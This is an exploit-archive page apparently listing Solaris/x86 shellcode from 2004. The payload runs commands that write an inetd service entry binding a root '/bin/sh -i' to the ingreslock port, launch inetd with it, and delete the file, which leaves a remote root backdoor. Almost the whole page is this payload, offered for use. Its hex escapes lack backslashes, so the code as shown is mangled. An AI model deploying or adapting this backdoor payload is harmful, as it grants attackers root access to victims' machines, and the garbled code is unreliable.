[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : solaris/x86 add services and execve inetd 201 bytes
# Published : 2004-09-26
# Author : n/a
# Previous Title : solaris/x86 execve /bin/sh toupper evasion 84 bytes
# Next Title : Unixware execve /bin/sh 95 bytes


/*
 *  Solaris/x86
 *
 *  Just execve()'s the following:
 *   "echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;"
 *   "/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x";
 *
 *  for a trivial remote bd. Used in a few old Solaris/x86 remote exploits. 
 */
 
char c0de[] =
"xebx3dx9ax24x24x24x24x07x24xc3x5ex29xc0x89x46xbfx88x46xc4"
"x89x46x0cx88x46x17x88x46x1ax88x46x78x29xc0x50x56x8dx5ex10"
"x89x1ex53x8dx5ex18x89x5ex04x8dx5ex1bx89x5ex08xb0x3bxe8xc6"
"xffxffxffxffxffxffxe8xc6xffxffxffx01x01x01x01x02x02x02x02"
"x03x03x03x03x04x04x04x04"
"x2fx62x69x6ex2fx73x68x20x2dx63x20"
"echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;"
"/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x";

/* EOF */

# www.Syue.com [2004-09-26]